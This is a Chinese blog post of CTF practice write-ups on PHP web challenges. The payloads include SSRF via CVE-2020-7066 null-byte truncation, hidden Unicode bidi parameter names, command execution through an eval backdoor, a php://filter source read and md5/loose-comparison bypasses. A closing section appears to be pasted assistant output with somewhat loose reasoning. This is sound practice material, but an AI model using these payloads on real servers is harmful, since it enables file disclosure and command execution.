今天早八晚七,中间全是课,随便刷点题保持手感


今天做题发现,原来pin码这些我早就遇到过,但不知道为什么一点印象没有了
现在忘不了了,让学长失望了。不断练习,会慢慢变好的。虽然还是很菜,但感觉自己这个学期很多方面都取得了很大的进步了

[GKCTF 2020]cve版签到

1分
%00截断SSRFPHP

进去查看源码

1
2
3
4
<a href='/?url=http://www.ctfhub.com'>View CTFHub</a><br/>You just view *.ctfhub.com
<!--
Venom 在线招人
-->

点进一个链接,还有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
Array
(
[0] => HTTP/1.1 301 Moved Permanently
[1] => Server: openresty
[2] => Date: Tue, 22 Apr 2025 12:09:54 GMT
[3] => Content-Type: text/html
[4] => Content-Length: 166
[5] => Connection: close
[6] => Location: https://www.ctfhub.com/
[7] => HTTP/1.1 200 OK
[8] => Server: openresty
[9] => Date: Tue, 22 Apr 2025 12:09:54 GMT
[10] => Content-Type: text/html
[11] => Content-Length: 2970
[12] => Connection: close
[13] => Accept-Ranges: bytes
[14] => Access-Control-Allow-Origin: *
[15] => Access-Control-Expose-Headers: X-Log, X-Reqid
[16] => Access-Control-Max-Age: 2592000
[17] => Age: 0
[18] => Cache-Control: public, max-age=1
[19] => Content-Disposition: inline; filename="index.html"; filename*=utf-8''index.html
[20] => Content-Md5: 7cES0PTBAOdxWZaNG/ERLg==
[21] => Content-Transfer-Encoding: binary
[22] => Etag: "FvimCDrKeT883zqMdiDbj166v_cW"
[23] => Last-Modified: Thu, 23 Nov 2023 14:10:12 GMT
[24] => Vary: Accept-Encoding
[25] => X-Log: X-Log
[26] => X-M-Log: QNM:cdn-cache-dls-gddg1-dg-5;QNM:fn280;SRCPROXY:fn270;SRC_115.231.29.25:38/304;SRCPROXY:39/304;QNM3:40/304;QNM3:49
[27] => X-M-Reqid: 7ZYbIF6Mt
[28] => X-Qiniu-Zone: 0
[29] => X-Qnm-Cache: Validate,Hit
[30] => X-Reqid: PFkAAAA-75OgTDAY
[31] => X-Svr: IO
)

题目标签:cve-2020-7066,搜索了解该漏洞。发现与get_headers()函数和%00截断有关系

cve-2020-7066: 在低于7.2.29的PHP版本7.2.x,低于7.3.16的7.3.x和低于7.4.4的7.4.x中,将get_headers()与用户提供的URL一起使用时,如果URL包含零(\ 0)字符,则URL将被静默地截断。这可能会导致某些软件对get_headers()的目标做出错误的假设,并可能将某些信息发送到错误的服务器

1
Hint:Flag in localhost

点击View CTFHub发现网址变成:

1
http://node4.anna.nssctf.cn:28048/?url=http://www.ctfhub.com

url是SSRF的标志,结合cve-2020-7006:

1
http://node4.anna.nssctf.cn:28048/?url=http://127.0.0.1%00www.ctfhub.com
1
2
3
4
5
6
7
8
9
10
11
12
13
Array
(
[0] => HTTP/1.1 200 OK
[1] => Date: Tue, 22 Apr 2025 12:12:46 GMT
[2] => Server: Apache/2.4.38 (Debian)
[3] => X-Powered-By: PHP/7.3.15
[4] => Tips: Host must be end with '123'
[5] => Vary: Accept-Encoding
[6] => Content-Length: 113
[7] => Connection: close
[8] => Content-Type: text/html; charset=UTF-8
)

1
http://node4.anna.nssctf.cn:28048/?url=http://127.0.0.123%00www.ctfhub.com
1
2
3
4
5
6
7
8
9
10
11
12
13
Array
(
[0] => HTTP/1.1 200 OK
[1] => Date: Mon, 05 Jun 2023 12:32:32 GMT
[2] => Server: Apache/2.4.38 (Debian)
[3] => X-Powered-By: PHP/7.3.15
[4] => FLAG: NSSCTF{586773c7-706a-4413-9456-f3d363f47288}
[5] => Vary: Accept-Encoding
[6] => Content-Length: 113
[7] => Connection: close
[8] => Content-Type: text/html; charset=UTF-8
)

拿到flag

[NISACTF 2022]checkin

1分
代码审计信息收集PHP

1
2
3
4
5
6
7
8
9
 <?php
error_reporting(0);
include "flag.php";
// ‮⁦NISACTF⁩⁦Welcome to
if ("jitanglailo" == $_GET[ahahahaha] &‮⁦+!!⁩⁦& "‮⁦ Flag!⁩⁦N1SACTF" == $_GET[‮⁦Ugeiwo⁩⁦cuishiyuan]) { //tnnd! weishenme b
echo $FLAG;
}
show_source(__FILE__);
?>

我先试着直接传参,发现是不可以的

1
?ahahahaha=jitanglailo&cuishiyuan=N1SACTF

这里我第一次遇见这种题目,直接看wp了
创建一个temp.php文件,我们复制代码进去,用vscode打开,就发现问题了
它显示的就和我们在网页上看到的就不一样了
源码中有特殊unicode字符的存在
选定右边实际字符的参名和参数,并将复制其16进制数值,再转为16进制编码形式
将源代码存为php文件,在txt中看到有其他编码,使用010等工具打开php文件,看到第二个get方式传递的参数有其他编码并且变量及数据变换了位置,实际上这才是真正传递的变量以及数据,将他们的十六进制复制出来(为什么不直接复制文本呢,因为复制文本直接GET提交就相当与提交的其他数据了),复制出来后,使用脚本或者手动将每个16进制数(2位),进行加百分号,此时即变成url形势的了,提交的数据将会经过pup自动转码,无法转码的则是源码内的其他编码,数据比对成功
重点就是第二个传的参数不是我们看到的,找到要传的参数,并取HEX十六进制的前面加上%传

1
?ahahahaha=jitanglailo&%E2%80%AE%E2%81%A6%55%67%65%69%77%6F%E2%81%A9%E2%81%A6%63%75%69%73%68%69%79%75%61%6E=%E2%80%AE%E2%81%A6%20%46%6C%61%67%21%E2%81%A9%E2%81%A6%4E%31%53%41%43%54%46

[羊城杯 2020]easycon

1分
RCE信息收集目录扫描
题目描述

得到的flag使用NSSCTF{}格式提交。
进入之后是一个Ubuntu的默认页面,一般来说文件名是index.html
可以通过目录扫描的得到
[20:55:50] 200 - 241B - /index.php
[20:55:50] 200 - 241B - /index.php/login/
有这两个文件
进入index.php,弹出eval post cmd
输入cmd=system(‘ls /‘);回显bin boot dev etc home lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr var
cmd=system(‘ls’);第一次想的方向和题解是有出入的,bbbbbbbbb.txt gw.jpg gw2.jpg index.html index.php
访问www…./bbbbbbbbb.txt出现很长一串东西
根据观察很像base64编码
解码后,开头有一个JFIF,是图片类型的文件头。所以这可能是图片进行base64编码
的形式,这里我是认为能少用在线工具就少用,要么就下载到本地
新建一个heml文件,用vscode打开,输入英文!
回车出现

1
2
3
4
5
6
7
8
9
10
11
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>

</body>
</html>

将我们的内容加入到body页面
最后用浏览器打开就是一个图片的形式了
转化为nssctf格式NSSCTF{do_u_kn0w_c@idao}
应该也算是杂项方面的吧

[MoeCTF 2022]baby_file

1分
PHP伪协议PHP文件包含
题目描述

“海纳百川,有容乃大;壁立千仞,无欲则刚。” 寓意人要像大海能容纳无数江河水一样的胸襟宽广,以容纳和融合来对他人。(我们坤坤都这么努力了,你们为什么还要黑他 !!!?小黑子们真虾头!!)
https://github.com/XDSEC/MoeCTF_2022

1
2
3
4
5
6
7
8
9
10
11
12
<html>
<title>Here's a secret. Can you find it?</title>
<?php

if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
?>
</html>

这里很简单

1
?file=php://filter/convert.base64-encode/resource=flag.php

拿到后解码就是flag

[GDOUCTF 2023]受不了一点

1分
弱比较数组绕过PHP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
 <?php
error_reporting(0);
header("Content-type:text/html;charset=utf-8");
if(isset($_POST['gdou'])&&isset($_POST['ctf'])){
$b=$_POST['ctf'];
$a=$_POST['gdou'];
if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b)){
if(isset($_COOKIE['cookie'])){
if ($_COOKIE['cookie']=='j0k3r'){
if(isset($_GET['aaa']) && isset($_GET['bbb'])){
$aaa=$_GET['aaa'];
$bbb=$_GET['bbb'];
if($aaa==114514 && $bbb==114514 && $aaa!=$bbb){
$give = 'cancanwordflag';
$get ='hacker!';
if(isset($_GET['flag']) && isset($_POST['flag'])){
die($give);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
die($get);
}
foreach ($_POST as $key => $value) {
$$key = $value;
}
foreach ($_GET as $key => $value) {
$$key = $$value;
}
echo $flag;
}else{
echo "洗洗睡吧";
}
}else{
echo "行不行啊细狗";
}
}
}
else {
echo '菜菜';
}
}else{
echo "就这?";
}
}else{
echo "别来沾边";
}
?>
别来沾边

注意if($aaa==114514 && $bbb==114514 && $aaa!=$bbb)
这里进行绕过,在任意一个114514后加一个字母
例传参aaa=114514&bbb=114514a
这里选择任意一个传入flag的方式
使用get,则flag的值在不断的遍历,对flag的值进行传递,输出flag
123=flag&flag=123
?aaa=114514&bbb=114514a&123=flag&flag=123
post:
ctf[]=1&gdou[]=2
cookie:
cookie=j0k3r
主要是注意后面些的代码

原代码关键逻辑

if (isset($_GET['flag']) && isset($_POST['flag'])) {
    die($give);
}
if ($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag') {
    die($get);
}

foreach ($_POST as $key => $value) {
    $$key = $value;
}

foreach ($_GET as $key => $value) {
    $$key = $$value;
}

echo $flag;

✨你的构造:GET 参数

?flag=flag

我们一条条分析:
✅ 第一段:

if (isset($_GET['flag']) && isset($_POST['flag']))

    $_GET['flag'] 有!

    $_POST['flag'] 没有传 POST,所以这个判断为 false,不会 die

✅ 第二段:

if ($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag')

    $_POST['flag'] 不存在

    $_GET['flag'] === 'flag' ✅ 条件成立 → 会触发 die($get)!

所以 ❗这条路径其实走不通。
🔁 回到你的构造:只用 GET,flag=123,123=flag

?flag=123&123=flag

判断一:

if (isset($_GET['flag']) && isset($_POST['flag']))

    $_GET['flag'] 有 ✅

    $_POST['flag'] 没有 ❌ → 条件不成立,继续走 ✅

判断二:

if ($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag')

    $_POST['flag'] 没有 ❌

    $_GET['flag'] === '123' ❌(不是'flag') → 条件不成立 ✅

接下来:

foreach ($_GET as $key => $value) {
    $$key = $$value;
}

GET 参数是:

flag = 123
123 = flag

所以执行流程为:

    $flag = $$value;,即 $flag = $123;

    而 $123 = 'flag';(通过上一轮 GET 的解析)
    → 所以 $flag = 'flag'

最终:

echo $flag;

就输出了 flag ✅
✅ 总结:你完完全全正确!!!

构造:

?flag=123&123=flag

就能 不触发任何 die、绕过所有检查,并最终成功让 $flag = 'flag' 被 echo 出来。

文章作者: John Doe
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 John Doe !
  目录